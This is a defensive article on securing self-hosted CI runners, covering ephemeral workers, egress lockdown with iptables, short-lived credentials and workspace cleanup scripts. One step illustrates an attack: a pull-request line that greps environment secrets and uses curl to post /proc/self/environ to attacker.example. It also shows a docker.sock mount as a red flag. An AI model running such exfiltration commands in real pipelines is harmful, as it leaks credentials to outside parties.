Self-hosted CI runners: isolation, ephemeral workers, and secret leaks

TL;DR — Self-hosted CI runners are not just "compute for builds"; they are a trust boundary where untrusted repo code, network access, caches, and credentials meet. The single highest-value change is to run jobs on ephemeral workers with short-lived credentials and no persistent workspace, because most real secret leaks on self-hosted runners come from reuse: leftover files, shared Docker daemons, cached tokens, and broad network reach. Reading time: ~7 min

What it is and where it sits

A self-hosted CI runner is the machine or worker process that pulls a job from your CI control plane and executes the repo’s build script. In architecture terms, it sits between your source control / CI service and your internal systems: artifact stores, package registries, cloud APIs, test databases, container registries, and sometimes production-adjacent networks.

What it replaces: the provider-managed runner VM/container you would otherwise get from a hosted CI platform. What changes is not the pipeline YAML syntax so much as the trust model. You now own the host OS, container runtime, network path, patching, logs, caches, and cleanup.

The important question is not "can it run Docker?" but "what can code from this repo reach during the 8 minutes it is executing?"

[Developer Push] ---- 1. webhook / poll ----> [CI Control Plane]
[CI Control Plane] ---- 2. assign job ----> [Self-hosted Runner]
[Self-hosted Runner] ---- 3. git clone ----> [Source Repo]
[Self-hosted Runner] ---- 4. fetch deps ----> [Pkg Registry]
[Self-hosted Runner] ---- 5. assume role / OIDC ----> [Cloud IAM]
[Self-hosted Runner] ---- 6. push image/artifact ----> [Registry/Artifacts]
[Self-hosted Runner] ---- 7. test traffic ----> [DBs/Internal APIs]

That placement is why self-hosted runners are risky by default:

• They execute attacker-controlled code whenever a branch, PR, or tag can trigger CI.
• They often have better network access than developer laptops.
• They frequently reuse disks, Docker layers, workspaces, and credentials across jobs.
• They become a pivot point into your cloud account if secrets are injected broadly.

A hosted runner usually gives you strong isolation by default because each job lands in a fresh VM or container with provider-managed teardown. A self-hosted runner often starts life as "one VM with the runner agent installed," which is exactly where secret exposure and cross-job contamination begin.

How it actually works

Walk one realistic example: a pull request triggers integration tests for a service that builds a Docker image, runs migrations against a temporary database, and uploads test results to object storage.

Step 1: The control plane assigns a job

The runner agent long-polls or maintains a websocket to the CI control plane. When a matching job appears, the control plane sends the job payload: repo ref, pipeline steps, environment variables, and any secrets the platform is configured to inject.

On a Linux host, the runner usually starts one of these execution modes:

• direct shell on the host
• a container on the host Docker daemon
• a VM or microVM created per job
• a Kubernetes pod scheduled per job

These are not equivalent. "Containerized" is not the same as isolated if all jobs share the same Docker daemon socket or host filesystem paths.

Step 2: The job clones code and restores caches

The runner checks out the PR branch and may restore caches like ~/.npm, ~/.m2, Docker layers, or a previous workspace. This is where many leaks happen.

Examples:

• A previous job wrote cloud credentials to ~/.aws/credentials and cleanup missed it.
• A package manager auth token remains in .npmrc in a reused home directory.
• Docker build cache contains layers with RUN echo $TOKEN > file from a bad Dockerfile.
• A malicious PR reads /var/lib/docker or mounted workspace leftovers because the job user has broad host access.

Step 3: Secrets are injected

The job receives credentials by one of three common patterns:

1. static env vars from the CI platform
2. files mounted into the job environment
3. short-lived credentials minted at runtime via OIDC / workload identity / STS

The third is the target state. Static env vars are the easiest to exfiltrate because any process in the job can print them, write them to artifacts, or send them over the network.

A realistic shell step looks harmless:

export AWS_REGION=us-east-1
aws sts get-caller-identity
aws s3 cp test-report.json s3://ci-results-bucket/pr-482/report.json

But if the credential was a long-lived access key injected as env vars, any line in the PR can do this instead:

env | grep -E 'AWS_|TOKEN|SECRET|KEY'
curl -fsS https://attacker.example/upload --data-binary @/proc/self/environ

Masking in logs helps only for exact values written to stdout. It does nothing for network exfiltration, artifact upload, DNS exfiltration, or writing secrets into cache layers.

Step 4: The build uses shared infrastructure

Suppose the job runs docker build. If the runner mounts /var/run/docker.sock, the job effectively controls the host Docker daemon. From there, a malicious build can start privileged sibling containers, mount the host filesystem, and read other jobs’ data.

Typical red flag in job config:

docker run --rm -v /var/run/docker.sock:/var/run/docker.sock docker:cli docker ps

If that works inside the job, the job can usually enumerate and interfere with host-level containers.

Step 5: Cleanup either works or it doesn’t

On an ephemeral worker, the VM/pod is terminated after the job. Disk, memory, process table, and temp files disappear with it. On a persistent runner, cleanup is a best-effort script.

Best-effort cleanup is where experienced teams get burned. A failed job exits before cleanup. A root-owned file cannot be deleted by the runner user. A background process survives and keeps a file handle open. A Docker volume remains attached.

You can see the difference operationally:

Persistent host after a job:

$ ls -la /home/runner/work/myapp/myapp
total 72
drwxr-xr-x  9 runner runner  4096 Oct 30 10:14 .
-rw-r--r--  1 runner runner   312 Oct 30 10:13 .npmrc
-rw-------  1 runner runner  1679 Oct 30 10:13 id_rsa
-rw-r--r--  1 root   root      88 Oct 30 10:14 build.env

Ephemeral worker after a job:

$ ssh runner-host
ssh: connect to host 10.0.12.44 port 22: No route to host

That "No route to host" is good news if the instance was intentionally destroyed.

When to use it (and when not to)

Use self-hosted runners when you need something provider-hosted runners cannot safely or efficiently provide: private network access, custom hardware, strict data locality, or lower unit cost at sustained high volume.

Do not choose them just because "we want more control." Control is operational work, and the security burden shifts to you.

You probably don’t need self-hosted runners if your only reason is faster builds. Start with dependency caching, parallelization, and smaller images on hosted runners first.

Trade-offs

Every benefit comes with a bill.

• Private network access

  • Benefit: integration tests can hit internal services directly.
  • Cost: the runner becomes a bridge into your network; egress controls, subnet design, and IAM scoping now matter a lot.

• Custom environment and hardware

  • Benefit: exact kernel, Docker version, GPU, or licensed binary you need.
  • Cost: you patch and debug it. A stale base image becomes your vulnerability backlog.

• Lower compute cost at scale

  • Benefit: better unit economics for steady workloads.
  • Cost: autoscaling, queueing, image prewarming, and capacity planning become your problem. Idle nodes erase savings quickly.

• Faster warm caches

  • Benefit: persistent hosts can reuse package caches and Docker layers.
  • Cost: those same caches are a secret-leak and cross-job contamination vector. Ephemeral workers reduce risk but also reduce cache hit rate unless you externalize caches carefully.

• More control over data locality

  • Benefit: builds stay in your account/region.
  • Cost: logs, artifacts, and crash dumps may now contain sensitive data that your team must retain and purge correctly.

The core trade-off is simple: the more persistent and shared the runner is, the cheaper and faster it may feel, but the worse the isolation story becomes.

In practice

Example 1: Ephemeral VM worker with cloud-init cleanup and no inbound SSH

⚠️ If you apply this pattern to an existing shared runner pool, jobs still in progress will be terminated when instances are rotated. Drain the queue first or create a new pool and cut over gradually.

#cloud-config
package_update: true
packages:
  - ca-certificates
  - curl
  - jq
runcmd:
  - useradd -m -s /bin/bash runner
  - mkdir -p /opt/runner
  - chown -R runner:runner /opt/runner
  - sudo -u runner bash -lc 'curl -fsSL https://runner-binaries.example/runner.tar.gz | tar -xz -C /opt/runner'
  - sudo -u runner bash -lc '/opt/runner/config.sh --url https://ci.example.com/org/repo --token ${REG_TOKEN} --ephemeral --work /tmp/runner-work'
  - sudo -u runner bash -lc '/opt/runner/run.sh'
  - shutdown -h now
final_message: "runner finished; instance shutting down"

What it does: boots a fresh instance, registers a runner in ephemeral mode, runs exactly one job, then powers off. Gotcha: if your runner implementation requires explicit deregistration on failure, add a trap or instance-termination hook; otherwise you accumulate stale offline runners in the control plane.

Example 2: Lock down egress and use short-lived cloud credentials instead of static secrets

# deny all egress except package mirror, artifact store, and cloud STS endpoint
iptables -P OUTPUT DROP
iptables -A OUTPUT -p tcp -d 10.20.0.15 --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.20.0.16 --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp -d 52.95.0.0/16 --dport 443 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -d 10.20.0.2 -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# verify what is actually reachable from the job host
curl -I https://registry.internal.example/v2/
curl -I https://sts.amazonaws.com/
curl -I https://example.com/

What it does: constrains a runner so exfiltration paths are much narrower and forces jobs to use approved endpoints. Gotcha: package managers and language toolchains often hit more domains than you expect; test with a representative build before rollout.

A healthy response shape for an allowed endpoint:

$ curl -I https://registry.internal.example/v2/
HTTP/1.1 401 Unauthorized
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Bearer realm="https://auth.internal.example/token"

That 401 Unauthorized is fine; it proves network reachability. A blocked endpoint looks like this:

$ curl -I https://example.com/
curl: (7) Failed to connect to example.com port 443 after 3 ms: Couldn't connect to server

Example 3: Scrub workspace and fail closed if cleanup misses root-owned files

set -euo pipefail
workspace="${RUNNER_WORKSPACE:-/tmp/runner-work}"

find "$workspace" -mindepth 1 -maxdepth 1 -exec rm -rf -- {} +
find /tmp -maxdepth 1 -type f -name 'ci-*' -delete
rm -f "$HOME/.npmrc" "$HOME/.pypirc" "$HOME/.aws/credentials" || true

leftovers=$(find "$workspace" -mindepth 1 | wc -l)
if [ "$leftovers" -ne 0 ]; then
  echo "cleanup failed: workspace not empty" >&2
  find "$workspace" -mindepth 1 -ls >&2
  exit 86
fi

What it does: removes common credential files and explicitly fails the job if the workspace is not empty afterward. Gotcha: on a persistent runner this is still weaker than destroying the worker; root-owned leftovers and mounted volumes can survive outside the workspace path.

Further reading

• NIST SP 800-190: Application Container Security Guide
• CIS Kubernetes Benchmark
• The "IAM best practices" section of your cloud provider’s official docs
• The "Use temporary credentials" guidance in the AWS Security Credentials docs
• The "Supply-chain Levels for Software Artifacts (SLSA)" specification

This article was written by an AI system and published pending human review. Verify anything you intend to act on.